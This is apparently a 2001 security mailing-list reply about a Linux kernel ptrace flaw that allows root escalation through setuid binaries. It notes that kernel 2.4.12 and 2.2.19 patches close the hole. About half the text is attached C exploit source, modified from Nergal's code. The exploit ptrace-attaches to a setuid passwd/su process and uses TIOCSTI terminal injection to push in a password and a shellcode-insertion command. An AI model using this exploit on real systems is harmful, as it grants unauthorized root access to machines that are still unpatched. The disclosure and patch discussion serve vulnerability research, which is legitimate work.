On Thu, 18 Oct 2001, Rafal Wojtczuk wrote: # In order for this flaw to be exploitable, /usr/bin/newgrp must be # setuid root and world-executable. Additionally, newgrp, when run with no # arguments, should not prompt for password. This # conditions are satisfied in case of most popular Linux distributions (but # not Openwall GNU/*/Linux). Well, there is a little of inaccuracy in the first sentence. This is a kernel flaw, NOT a bug in newgrp. Other suid programs can be used instead... Some distributions don't allow to export LD_* environment variables to suid binaries (glibc issue, I think). Thus the trick with LD_DEBUG does not work for them. Unfortunately, these distributions are still exploitable. Both of the preceeding paragraphs are demonstrated by the attached exploit, which is a modification of nergal's code. The same insert_hellcode program is needed. The only difference is that /bin/su is used instead of newgrp, the correct password is sent to su. Moreover, while su is waiting for the password, ptraced process can easily run any suid binary, without the need of fiddling with complex race conditions. # 2.4.12 kernel fixes both presented problems. The attached patches, # 2.2.19-deep-symlink.patch and 2.2.19-ptrace.patch, both blessed by Linus, # can be used to close the vulnerability in 2.2.19. The (updated) The patches can avoid my exploit too, of course. # rely on race-conditions. And finally, notice that under Owl LD_DEBUG is # ignored in case of suid binaries. The main conclusion of my posting is: having other versions of newgrp or ignoring LD_DEBUG is insufficient! Probably, ANY Linux distribution is vulnerable without the kernel patches! - M - PS: What about executing suid binary while some other process has our /proc/$$/mem opened for writing? Isn't there the same problem too? Unfortunately, I do not have enough time to investigate that.
/* by Nergal, modified by Marwin */ #include <stdio.h> #include <sys/ptrace.h> #include <fcntl.h> #include <sys/ioctl.h> #include <signal.h> #define MYLOGIN "john" #define MYPASSWD "hispass" void ex_passwd(int fd) { sleep(1); fprintf(stderr,"executing passwd\n"); execl("/usr/bin/passwd", "passwd", 0); perror("execl"); exit(1); } void put2tty(const char* ptr) { while (*ptr && !ioctl(0, TIOCSTI, ptr++)); } void insert(int pid) { char buf[100]; fprintf(stderr,"sending password\n"); sprintf(buf, MYPASSWD "\n"); put2tty(buf); sleep(1); fprintf(stderr,"sending malicious command\n"); sprintf(buf, "exec ./insert_shellcode %i\n", pid); put2tty(buf); } main(int argc, char **argv) { int res, fifo; int status; int pid, n; int pipa[2]; char buf[1024]; pipe(pipa); switch (pid = fork()) { case -1: perror("fork"); exit(1); case 0: close(pipa[1]); ex_passwd(pipa[0]); default:; } res = ptrace(PTRACE_ATTACH, pid, 0, 0); if (res) { perror("attach"); exit(1); } res = waitpid(-1, &status, 0); if (res == -1) { perror("waitpid"); exit(1); } res = ptrace(PTRACE_CONT, pid, 0, 0); if (res) { perror("cont"); exit(1); } fprintf(stderr, "attached\n"); switch (fork()) { case -1: perror("fork"); exit(1); case 0: close(pipa[1]); sleep(3); insert(pid); do { n = read(pipa[0], buf, sizeof(buf)); } while (n > 0); if (n < 0) perror("read"); exit(0); default:; } close(pipa[0]); close(2); dup2(pipa[1], 2); close(pipa[1]); /* Decrystallizing reason */ setenv("LD_DEBUG", "libs", 1); /* With strength I burn */ execl("/bin/su", "su", MYLOGIN, 0); }